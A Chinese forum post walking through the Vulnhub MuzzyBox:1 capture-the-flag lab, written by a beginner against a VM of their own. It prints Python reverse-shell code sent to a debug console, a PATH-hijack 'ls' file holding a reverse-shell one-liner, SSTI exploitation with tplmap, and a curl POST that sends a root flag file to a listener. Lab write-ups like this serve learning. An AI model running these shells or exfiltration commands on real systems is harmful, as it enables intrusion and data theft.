连滚带爬通关Vulnhub最新靶场MuzzyBox:1

前段时间我隔夜升级kali,然后到一半卡住了(万恶的Gnome),然后重装了2020版的kali,,,
2020的kali在收藏栏里自动收录了Vulnbox,从来没玩过ctf的我就打算来玩玩,,,然后就选择了最新的 MuzzyBox:1,下载下来一探究竟


导入vbox后,由于自动向路由器获取了ip地址,我们并不知道靶机分配到了什么ip,所以按照国际惯例扫一下局域网c段

ok,搞到了ip地址,发现80端口开放,打开康康

有个index.txt,里面给了我们3个flag的提示
首先是Challenge 1,大意为学校新建了个在线图书馆,只有校长是有权限的,然后让我们绕过它的逻辑验证(bypass their logic)拿到flag,,,该服务开放在3000端口,还附带了一张图片。
打开页面康康

这里提示说要让我们上传图片以验证身份,,,啊哈,头脑简单的我马上认定这是一个让我们绕过文件类型判断逻辑的题目,和提示里的绕过逻辑验证相符合,,,
然后我试着上传了一个普通的png,,,

wtf???500??
看来没有那么简单,,,头脑简单的我又看见了写到了SQL DB,难道是让我们注入?但是莫得任何注入点啊?
emmmm,经过冷静分析,我发现下面还有一句话:根据这个图片模板【链接】在上面填写信息上传
这是图片模板:

那么我只要把校长的名字填上去我就可以获得校长的权限了,,,但是问题来了,怎么把字写上去?这个垃圾破站不可能有图像识别吧?

tm还真的有,用画图把名字p上去,服务器就会识别出来,,,


拿到第一个flag,是一个PIN值:

然后看第二题的提示:学校开了个新页面,但是还在调试,要找到目录拿到flag,该服务运行在8989端口
一打开就是报错,显然是以py作为服务器脚本,,,


乍一看没有进展,然后根据提示dirb扫了一下目录,就扫到一个console
Screenshot 2020-03-07 23:10:44
打开这个目录,提示我们输入PIN值,自然把第一题得到的flag填进去,成功进入终端,可以执行python命令

尝试os.system()反弹shell,失败,,,使用以下代码nc成功收到会话

import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("192.168.0.105",666))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"])

Screenshot 2020-03-08 10:21:15
但现在收到的只是一个哑shell,不支持代码高亮、命令补全,按到ctrl+c全gg,所以在哑shell中输入:

python -c 'import pty; pty.spawn("/bin/bash")'

ctrl+z 返回本机命令行,执行

stty raw -echo

然后输入fg+回车回到shell,然后按ctrl+I,输入:

reset
export SHELL=bash
export TERM=xterm-256color
stty rows 54 columns 104

部分系统输入reset时会弹出提示框,ctrl+c即可
Screenshot 2020-03-08 10:23:06
这下舒服了,看到当前目录下有一个flag,打开康康
里面有一个ctf2.py,打开可以看见是服务器的代码,里面给出了flag的位置:/home/webssti/noflag.txt
Screenshot 2020-03-08 10:23:48
正当我开开心心地打开时,,,
Screenshot 2020-03-08 10:24:30
我,,,
然后这个帐号只有webpy这个目录的读写权限,其他p都没有,,,
这还是challenge2,哪有到第二题就要提权的?
莫得办法,现看第三题
提示说在15000端口有一个废弃的页面,,,格式为xxxx:15000/page?name=xxx
然后服务器会在页面上输出name参数的内容
Screenshot 2020-03-08 10:25:40
我第一时间想到了xss,,,弹窗之,,,但是这个反射型又有什么用?社工?这个靶机是我自己搭的,我社工我自己?
然后我看到了第二题flag的位置/home/webssti/: ,前后一联系,这就是ssti啊
ssti,服务器模板注入,,,xss是把恶意html代码写进了前端页面,而存在ssti的网站会直接把恶意指令写入到服务器的脚本文件(如php、py等)中,所以危害比xss大一个等级,可以直接getshell
第二个flag提示我们是用的python作为服务器脚本,所以在name一栏输入{{2*3}},然后服务器会直接返回6,说明我们的输入直接被写入了服务器模板且被执行
Screenshot 2020-03-08 10:26:19
上神器,tplmap!(tplmap 是一款专门住ssti的工具,github链接)


getshell!
这次直接是 目录下的shell,第二题没法读的flag可以读了,,,第二题给的flag位置实际上是错的,不过就在同一个目录下很好找, 内容如下:
Screenshot 2020-03-08 10:31:41
显然是ssh密码,链接之,离目标已经很近了

第三题中有提示说管理员在系统出错时会用ls -lsa查看文件,还给出了第三个flag的位置,,,所以猜测是提示我们用环境变量提权
输入echo $PATH

可以看到有一个/usr/local/sbin 目录,sbin目录下的执行的命令默认有root权限,我们应该试着从那里突破
查看我们对/usr/local/sbin的权限
Screenshot 2020-03-08 10:34:25
bingo!可以看到,我们对/usr/local/sbin读写权限,,,那么,我们只要在该目录下创建和命令同名的文件,那么在该命令被执行的同时,该文件中的命令也会被执行,而且是root权限!
所以我们创建一个名为ls的文件,文件内容为:

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.37.131",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

但是并没有拿到shell,求师傅们指教
最后参考了hackerone大佬的方法,是用curl读取flag文件发送到nc监听端口,拿到flag

curl -i -X POST "http://192.168.0.105:888" --data "@/root/Final_Flag.txt"


nc收到flag:
Screenshot 2020-03-08 10:39:11
总结:这是鄙人第一次打ctf,还是很有趣的,,,题目环环相扣,第一题的pin让我们拿到第二题的shell,第二题的shell虽然莫得flag,但是提示了第三题的解法,,,这应该算是入门级的题目了,全都是基本操作,看着自己一路连滚带爬的真的把自己菜哭了,,,权当本人自娱自乐,大佬们不要踩,,,

另外向管理讨酒币进wiki(狗头)

3 个赞

你用的是VMware还是 VirtualBox,我用VM15.5Pro,桥接,NAT都无法获取到IP地址

我用的VirtualBox,导入后直接自动配置好了